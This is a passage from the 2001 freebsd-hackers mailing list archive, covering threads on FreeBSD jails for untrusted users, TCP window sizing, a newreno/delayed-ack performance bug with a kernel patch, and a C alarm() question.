automatically assigns IP and mounts for starting jail. The down side of jailed shell is restrictions for raw sockets (no ping and traceroute) and shared memory. > I am not asking about the commercial viability - it's just a hobby system. > But in terms of limiting resources (so no one user bogs down the whole > system) and in terms of security (nobody can turn rogue and bring down / > compromise the system) is this a viable option ? Jail is not ideal but is better then with no jail. There is another answer in list about resourses. > Or is jail best kept to environments where the users are in-house (trusted) Best untrasted user is dead user :-) best live untrasted user is jailed. > Another way of asking this would be, was jail developed for, and best used > for, creating a safe area for daemons like httpd, or was it developed with > running many full-blown independent systems on a single machine in mind ? I don't know developer's mind, but safe area for daemons like pop smtpd(any kind) named ntpd (in-pair with non-jailed ntpd) so on created by jail is good enough now. /bin/sh and friends are evils even in jail. > _any_ comments appreciated. Sorry, my English is worse then my knowledge. -- @BABOLO http://links.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 11:50:58 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id C77B737B41C for ; Fri, 30 Nov 2001 11:50:47 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id 4727781D04; Fri, 30 Nov 2001 13:50:42 -0600 (CST) Date: Fri, 30 Nov 2001 13:50:42 -0600 From: Alfred Perlstein To: Luigi Rizzo Cc: Leo Bicknell , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130135042.G46769@elvis.mu.org> References: <20011130125839.A88302@ussenterprise.ufp.org> <20011130102928.E30981@iguana.aciri.org> <20011130141100.B90969@ussenterprise.ufp.org> <20011130112215.H30981@iguana.aciri.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130112215.H30981@iguana.aciri.org>; from rizzo@aciri.org on Fri, Nov 30, 2001 at 11:22:15AM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Luigi Rizzo [011130 13:26] wrote: > On Fri, Nov 30, 2001 at 02:11:00PM -0500, Leo Bicknell wrote: > ... > > * Many people use FreeBSD as a desktop OS. Think the same people > > who use Win98, but only slightly smarter. These people are > > 'sysadmins' only in the sense that they have a root password. > > When FreeBSD can't fill their DSL line and Linux can, they will > > switch to Linux never knowing what the real problem was. > > we are going to gain/lose these people at any blow of wind, any > spam that says "X is better than Y" will cause them to switch, > and they'll never bother to read why or how to cure it. > Do we care ? Maybe. Do we have the energy to fight FUD ? I doubt it. > > > To extend your logic, we might as well make it default to 4k, since > > that is the most resource conservative, and anyone who cares will > > increase it. > > My logic is that I would like to increase the default to 32 or 64k, > but if this involves starting an endless discussion to reach > consensus on whether this can be done or not, I prefer to fight > other battles (maybe equally pointless). I was about to set the default in -stable to Leo's suggested values, it seems that -current already has the delta he wants in it, my question is, was anything else changed along the lines of the number of nmbclusters allocated in -current to go along with this change? -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 11:54: 9 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id 1C5C737B416 for ; Fri, 30 Nov 2001 11:54:03 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id BDDF281D04; Fri, 30 Nov 2001 13:54:02 -0600 (CST) Date: Fri, 30 Nov 2001 13:54:02 -0600 From: Alfred Perlstein To: Luigi Rizzo Cc: Leo Bicknell , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130135402.H46769@elvis.mu.org> References: <20011130125839.A88302@ussenterprise.ufp.org> <20011130102928.E30981@iguana.aciri.org> <20011130141100.B90969@ussenterprise.ufp.org> <20011130112215.H30981@iguana.aciri.org> <20011130135042.G46769@elvis.mu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130135042.G46769@elvis.mu.org>; from bright@mu.org on Fri, Nov 30, 2001 at 01:50:42PM -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Alfred Perlstein [011130 13:51] wrote: > > I was about to set the default in -stable to Leo's suggested values, > it seems that -current already has the delta he wants in it, > my question is, was anything else changed along the lines of the > number of nmbclusters allocated in -current to go along with > this change? It seems not, I've committed the change. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 11:54:40 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from search.sparks.net (d-207-5-180-136.gwi.net [207.5.180.136]) by hub.freebsd.org (Postfix) with ESMTP id 16AC937B61E for ; Fri, 30 Nov 2001 11:54:18 -0800 (PST) Received: by search.sparks.net (Postfix, from userid 100) id BC06FD995; Fri, 30 Nov 2001 14:53:24 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by search.sparks.net (Postfix) with ESMTP id B01C9D993 for ; Fri, 30 Nov 2001 14:53:24 -0500 (EST) Date: Fri, 30 Nov 2001 14:53:24 -0500 (EST) From: David Miller To: freebsd-hackers@freebsd.org Subject: [OT] alarm() question Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Apologies for this being more C than freebsd, but I did say OT in the subject... In the most basic use of an alarm, like this: #include #include #include sig_t signal(int sig, sig_t func); static void bzzt() { printf("In routine bzzt now, timer expired after 3 seconds\n"); } main() { signal(SIGALRM, bzzt); alarm(3); system("/usr/bin/host -t soa 111.0.12.in-addr.arpa"); printf("Done\n"); } Why does the alarm go off but not interrupt the system call? bzzt() is executed, but the program doesn't print Done and exit for a minute plus. Pointers to FM to RT welcome. Thanks, --- David To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 12:26:39 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from niwun.pair.com (niwun.pair.com [209.68.2.70]) by hub.freebsd.org (Postfix) with SMTP id C039537B41B for ; Fri, 30 Nov 2001 12:26:36 -0800 (PST) Received: (qmail 5517 invoked by uid 3193); 30 Nov 2001 20:26:36 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 30 Nov 2001 20:26:36 -0000 Date: Fri, 30 Nov 2001 15:26:36 -0500 (EST) From: Mike Silbersack X-Sender: To: Leo Bicknell Cc: Subject: Re: TCP Performance Graphs In-Reply-To: <20011130125839.A88302@ussenterprise.ufp.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 30 Nov 2001, Leo Bicknell wrote: > Since the topic has come up again, I'll provide some graphs, and > go back to my suggestion to see if it gets some traction this time > around. > > http://www.ufp.org/~bicknell/fbsdtcp.png I don't think anyone's doubting the importance of larger windows; it's just that we can't do much increasing until they're dynamic. That being said, Matt did post a patch which implements socket buffer autoscaling a few months back. I've been meaning to review it, but haven't had the time. If you can give it some good testing and prove that it provides better performance in most cases (and hopefully no regressions), I suspect that might provide the momentum to get it looked at by more people and committed. Mike "Silby" Silbersack To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 12:47:34 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 4AEC237B416 for ; Fri, 30 Nov 2001 12:47:31 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fAUKlT811090; Fri, 30 Nov 2001 12:47:29 -0800 (PST) (envelope-from dillon) Date: Fri, 30 Nov 2001 12:47:29 -0800 (PST) From: Matthew Dillon Message-Id: <200111302047.fAUKlT811090@apollo.backplane.com> To: Alexander Haderer Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Well, this is embarassing. I can reproduce this completely running 4.4-stable (Nov 17th kernel) on two machines. With newreno turned on, a TCP NFS mount only gets 80K/sec. With newreno turned off on the transmit side, a TCP NFS mount gets 7MB/sec. The state of the delayed-ack sysctl is irrelevant. This is without running any nfsiod's (which would mask the degredation of the synchronous messaging). I am tracking it down now. -Matt Matthew Dillon :> (I wrote) :> Hmm. I'll play with it a bit tomorrow. Er, later today. One thing :> I noticed recently with NFS/TCP is that I have to run 'nfsiod -n 4' :> on the client to get reasonable TCP performance. I don't think I :> had to do that before. It sure sounds similar... like a delayed-ack :> problem or improper transmit side backoff. :> :> It would be nice if someone able to reproduce the problem can test :> the TCP connection with newreno turned off (net.inet.tcp.newreno) :> and delayed acks turned off (net.inet.tcp.delayed_ack). If that :> fixes the proble it narrows down our search considerably. : :Hello, I am the submitter of PR 32141 mentioned above, : :I did check it with a 4.3 Release server and 4.2 Release client using :'mount_nfs -3 -T ...': :setting net.inet.tcp.newreno=0 gives fast performance (about 8 Mbyte/s, same :for udp mount), setting net.inet.tcp.newreno=1 gives 80kbyte/s. :Setting net.inet.tcp.delayed_ack=0 has no influence (I checked all 4 :combinations). :There is 'nfsiod -n 4' running at clientside (default setting if enabling :nfs via sysinstall). We did not play around with nfsiod settings so far. : :Hope that helps : : Alexander : :------------------------------------------------------------------ :Alexander Haderer Charite To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 13: 0:43 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id DDE4437B61F for ; Fri, 30 Nov 2001 13:00:34 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fAUKxrI19553; Fri, 30 Nov 2001 12:59:53 -0800 (PST) (envelope-from dillon) Date: Fri, 30 Nov 2001 12:59:53 -0800 (PST) From: Matthew Dillon Message-Id: <200111302059.fAUKxrI19553@apollo.backplane.com> To: Mike Silbersack Cc: Leo Bicknell , Subject: Re: TCP Performance Graphs References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :I don't think anyone's doubting the importance of larger windows; it's :just that we can't do much increasing until they're dynamic. : :That being said, Matt did post a patch which implements socket buffer :autoscaling a few months back. I've been meaning to review it, but :haven't had the time. If you can give it some good testing and prove that :it provides better performance in most cases (and hopefully no :regressions), I suspect that might provide the momentum to get it :looked at by more people and committed. : :Mike "Silby" Silbersack One of the things that came out of that conversation, however, was that it should be safe to increase the receive-side window, because programs typically drain the receive buffers the moment data comes in. So I think we can safely increase the dfeault net.inet.tcp.recvspace from 16384 to 32768 immediately. The transmit side requires more thought. I did write that patch, and it does work, but it's too messy for my tastes. I would personally much rather rewrite it to (A) fix the RTT stored in the route tables and (B) adjust the transmit window based on that, which is a much less sophisticated patch (and less messy), but ought to work quite well in regards to transmit buffer management. After I figure out this 80K/sec problem I'll revisit the transmit-side buffer limiting based on my new proposal above. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 13: 2: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cu518.adelaide.adsl.on.net (cu518.adelaide.adsl.on.net [150.101.236.10]) by hub.freebsd.org (Postfix) with ESMTP id A5BC337B417 for ; Fri, 30 Nov 2001 13:02:03 -0800 (PST) Received: from ns.aus.com (laptop.ns.aus.com [10.0.2.6]) by cu518.adelaide.adsl.on.net (8.11.0/8.11.0) with ESMTP id fAUN9P702923; Sat, 1 Dec 2001 09:39:25 +1030 Message-ID: <3C07FCFF.4070008@ns.aus.com> Date: Sat, 01 Dec 2001 08:11:19 +1030 From: Richard Sharpe Reply-To: rsharpe@ns.aus.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010917 X-Accept-Language: en-us MIME-Version: 1.0 To: Matthew Dillon Cc: Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Matthew Dillon wrote: > Well, this is embarassing. I can reproduce this completely running > 4.4-stable (Nov 17th kernel) on two machines. > > With newreno turned on, a TCP NFS mount only gets 80K/sec. With newreno > turned off on the transmit side, a TCP NFS mount gets 7MB/sec. The > state of the delayed-ack sysctl is irrelevant. This is without running > any nfsiod's (which would mask the degredation of the synchronous > messaging). I have upgraded to 4.4-STABLE, and have hacked in some changes to ata-dma.c (provided by Greg Lehey, but I had to do it by hand) so my drive is now running at UDMA 100. I have also ensured that disk write caching is on, which it seems to be by default in 4.4. These changes have made a difference to the NetBench and dbench runs (improved them), but they have made no difference to the tbench runs, which only do network stuff. The traffic in the tbench case is SMB taffic. Request/response, with a mixture of small requests and responses, and big request/small response or small request/big response, where big is 64K. I have switched off newreno, and it made no difference. I have switched off delayed_ack, and it reduced performance about 5 percent. I have made sure that SO_SNDBUF and SO_RCVBUF were set to 131072 (which seems to be the max), and it increased performance marginally (like about 2%), but consistently. I am still analysing the packet traces I have, but it seems to me that the crucial difference is Linux seems to delay longer before sending ACKs, and thus sends less ACKs. Since the ACK is piggybacked in the response (or the next request), it all works fine, and the reponse/request gets there sooner. However, I have not convinced myself that the saving of 20uS or so per request/response pair accounts for some 40+ Mb/s. -- Richard Sharpe, rsharpe@ns.aus.com, LPIC-1 www.samba.org, www.ethereal.com, SAMS Teach Yourself Samba in 24 Hours, Special Edition, Using Samba To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 13: 8:46 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id DE25C37B419 for ; Fri, 30 Nov 2001 13:08:43 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id 589A881D06; Fri, 30 Nov 2001 15:08:43 -0600 (CST) Date: Fri, 30 Nov 2001 15:08:43 -0600 From: Alfred Perlstein To: rsharpe@ns.aus.com Cc: Matthew Dillon , Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011130150843.L46769@elvis.mu.org> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <3C07FCFF.4070008@ns.aus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3C07FCFF.4070008@ns.aus.com>; from sharpe@ns.aus.com on Sat, Dec 01, 2001 at 08:11:19AM +1030 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Richard Sharpe [011130 15:02] wrote: > Matthew Dillon wrote: > > > Well, this is embarassing. I can reproduce this completely running > > 4.4-stable (Nov 17th kernel) on two machines. > > > > With newreno turned on, a TCP NFS mount only gets 80K/sec. With newreno > > turned off on the transmit side, a TCP NFS mount gets 7MB/sec. The > > state of the delayed-ack sysctl is irrelevant. This is without running > > any nfsiod's (which would mask the degredation of the synchronous > > messaging). > > > I have upgraded to 4.4-STABLE, and have hacked in some changes to ata-dma.c (provided by Greg Lehey, but I had to do it by hand) so my drive is now running at UDMA 100. > > > I have also ensured that disk write caching is on, which it seems to be > by default in 4.4. > > These changes have made a difference to the NetBench and dbench runs (improved them), but they have made no difference to the tbench runs, which only do network stuff. > > > The traffic in the tbench case is SMB taffic. Request/response, with a mixture of small requests and responses, and big request/small response or small request/big response, where big is 64K. > > > I have switched off newreno, and it made no difference. I have switched > off delayed_ack, and it reduced performance about 5 percent. I have made > sure that SO_SNDBUF and SO_RCVBUF were set to 131072 (which seems to be > the max), and it increased performance marginally (like about 2%), but > consistently. > > I am still analysing the packet traces I have, but it seems to me that > the crucial difference is Linux seems to delay longer before sending > ACKs, and thus sends less ACKs. Since the ACK is piggybacked in the > response (or the next request), it all works fine, and the > reponse/request gets there sooner. > > However, I have not convinced myself that the saving of 20uS or so per > request/response pair accounts for some 40+ Mb/s. Can you try these two commands: sysctl -w net.inet.tcp.recvspace=65536 sysctl -w net.inet.tcp.sendspace=65536 you can put them in /etc/sysctl.conf as: net.inet.tcp.recvspace=65536 net.inet.tcp.sendspace=65536 thanks, -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 13:30:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 28CD637B417 for ; Fri, 30 Nov 2001 13:30:31 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fAULUU324648; Fri, 30 Nov 2001 13:30:30 -0800 (PST) (envelope-from dillon) Date: Fri, 30 Nov 2001 13:30:30 -0800 (PST) From: Matthew Dillon Message-Id: <200111302130.fAULUU324648@apollo.backplane.com> To: Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?) References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I believe I have found the problem. The transmit side has a maximum burst count imposed by newreno. As far as I can tell, if this maxburst is hit (it defaults to 4 packets), the transmitter just stops - presumably until it receives an ack. Now, theoretically this should work just fine... send four packets, receive the first ack and send the next four packets... it should allow us to fill the window geometrically. I believe the idea is to give transmit packets a chance to include acks for received data in a reasonable period of time... I'm not sure, it's J Lemon's commit (from the original newreno commits) so maybe he can work it out. However, if the receiver has delayed-acks turned on only one ack is returned for all four packets. The next four are then sent and one ack is returned. I believe this the cause of the problem. It effectively destroys the TCP window, forcing it to around 1.5Kx4 = 6K. This also explains why performance is so weird... if more then one delayed ack happens to occur per burst you get 'bumps' in the performance. Without the patch, two things will solve or partially solve the problem: * Turn off delayed acks on the receiver (performance 80K->6.8MB/sec) OR * Turn off newreno on the transmitter. (performance 80K->7.9MB/sec) The patch below kills the burst limit on the transmit side and appears to solve the problem permanently. I'm sure I'm breaking something in the newreno RFC, but I am going to commit it to both branches now because our current situation is horrible. -Matt Index: tcp_output.c =================================================================== RCS file: /home/ncvs/src/sys/netinet/tcp_output.c,v retrieving revision 1.39.2.10 diff -u -r1.39.2.10 tcp_output.c --- tcp_output.c 2001/07/07 04:30:38 1.39.2.10 +++ tcp_output.c 2001/11/30 21:18:10 @@ -912,7 +912,14 @@ tp->t_flags &= ~TF_ACKNOW; if (tcp_delack_enabled) callout_stop(tp->tt_delack); +#if 0 + /* + * This completely breaks TCP if newreno is turned on + */ if (sendalot && (!tcp_do_newreno || --maxburst)) + goto again; +#endif + if (sendalot) goto again; return (0); } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 13:36:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from po3.wam.umd.edu (po3.wam.umd.edu [128.8.10.165]) by hub.freebsd.org (Postfix) with ESMTP id 12A8037B419 for ; Fri, 30 Nov 2001 13:36:10 -0800 (PST) Received: from rac4.wam.umd.edu (IDENT:root@rac4.wam.umd.edu [128.8.10.144]) by po3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id QAA16218; Fri, 30 Nov 2001 16:36:02 -0500 (EST) Received: from rac4.wam.umd.edu (IDENT:sendmail@localhost [127.0.0.1]) by rac4.wam.umd.edu (8.9.3/8.9.3) with SMTP id QAA11656; Fri, 30 Nov 2001 16:36:02 -0500 (EST) Received: from localhost (culverk@localhost) by rac4.wam.umd.edu (8.9.3/8.9.3) with ESMTP id QAA11652; Fri, 30 Nov 2001 16:36:02 -0500 (EST) X-Authentication-Warning: rac4.wam.umd.edu: culverk owned process doing -bs Date: Fri, 30 Nov 2001 16:36:02 -0500 (EST) From: Kenneth Wayne Culver To: "James C. Durham" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <200112010032.fB10WIp55898@w2xo.pgh.pa.us> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Wierd, on my Dual PII 300 I'm getting around 8MB/sec to an 800MHz athlon. The athlon is using a 3com 905b I believe, and the PII is using an intel fxp type card. Granted this is from my living room to my bedroom so that may be part of what I see. Also, the Dual PII is running -STABLE as of a week ago, and the Athlon is running -CURRENT as of about a week ago. Ken On Fri, 30 Nov 2001, James C. Durham wrote: > (snip...a large number of postings regarding slow performance by 4.x > kernels with TCP/IP) > > A friend who works for a local university and I tried moving large > files using variouis OS'es and hardware. These are FTP transfers > with file sizes from 100 to 300 megabytes.. > > The conclusion we arrived at was that the TCP performance of FreeBSD > 4.x and Linux is aproximately the same and that processor speed > makes the most difference. In one case, a fast laptop with 16 bit > pcmcia NIC did poorly. > > Moving large files on 100mb/s ethernet backbones gave the folowing > results... > > Dual 800 mhz PIII processors with Linux 6.1: > 10mB/s. > > Sunblade 100's: > 10mB/s. > > Single 1.4ghz processors (noname box)with 3C905 NICS, > FreeBSD-stable (June 2001).: > 9.5 mB/s. > > In the case wehere we had only one machine of a type, we > used the dual 800mhz machines as a "sink"...with the following > results (this is probably questionable): > > Dual 333 Linux 5.1 5mB/s > > Pentium 350 III with 3C905 NIC, Linux 5.1: > 2mB/sec > > K6-2 400 with smc NIC, Linux 5.1: > 2.8mB/sec > > Dell 500mhz PowerEdge with 4.3 with 3C905 NIC to HP Netserver PII 266, > both running 4.3-RELEASE: > 3.0 mB/sec. > > Dell 500mhz PowerEdge with 4.3 to Dell 850mhz laptop running > 4.4 with Dlink PCMCIA ethernet card: > 1.0 mB/sec. (caused by pcmcia NIC?) > > PIIMMX 200mhz box running 4.4-Relese with 3C905 to same Dell Laptop: > 500kB/sec. > > Unfortunately, we didn't have any 7.x Linux available or 3.X FreeBSD. > > FWIW... > > Jim Durham > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 13:43:33 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id D615937B405 for ; Fri, 30 Nov 2001 13:43:28 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id OAA17564; Fri, 30 Nov 2001 14:43:21 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fAULhGi20686; Fri, 30 Nov 2001 14:43:16 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15367.64883.390696.863120@caddis.yogotech.com> Date: Fri, 30 Nov 2001 14:43:15 -0700 To: Matthew Dillon Cc: Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?) In-Reply-To: <200111302130.fAULUU324648@apollo.backplane.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I believe I have found the problem. The transmit side has a > maximum burst count imposed by newreno. As far as I can tell, if > this maxburst is hit (it defaults to 4 packets), the transmitter > just stops - presumably until it receives an ack. Note, my experiences (and John Capos) are showing degraded performance when *NOT* on a LAN segment. In other words, when packet loss enters the mix, performance tends to fall off rather quickly. This is with or without newreno (which should theoretically help with packet loss). John claims that disabling delayed_ack doesn't seem to affect his performance, and I've not been able to verify if delayed_ack helps/hurts in my situation, since the testers have been pressed for time so I can't get them to iterate through the different settings. I do however have some packet dumps, although I'm not sure they will tell anything. :( Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 13:46:27 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cu518.adelaide.adsl.on.net (cu518.adelaide.adsl.on.net [150.101.236.10]) by hub.freebsd.org (Postfix) with ESMTP id 49B5537B417 for ; Fri, 30 Nov 2001 13:46:24 -0800 (PST) Received: from ns.aus.com (laptop.ns.aus.com [10.0.2.6]) by cu518.adelaide.adsl.on.net (8.11.0/8.11.0) with ESMTP id fAUNrn703234; Sat, 1 Dec 2001 10:23:49 +1030 Message-ID: <3C080766.5030600@ns.aus.com> Date: Sat, 01 Dec 2001 08:55:42 +1030 From: Richard Sharpe Reply-To: rsharpe@ns.aus.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010917 X-Accept-Language: en-us MIME-Version: 1.0 To: Alfred Perlstein Cc: rsharpe@ns.aus.com, Matthew Dillon , Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <3C07FCFF.4070008@ns.aus.com> <20011130150843.L46769@elvis.mu.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alfred Perlstein wrote: > * Richard Sharpe [011130 15:02] wrote: >>The traffic in the tbench case is SMB taffic. Request/response, with a >>mixture of small requests and responses, and big request/small response >>or small request/big response, where big is 64K. >> >> >>I have switched off newreno, and it made no difference. I have switched >>off delayed_ack, and it reduced performance about 5 percent. I have made >>sure that SO_SNDBUF and 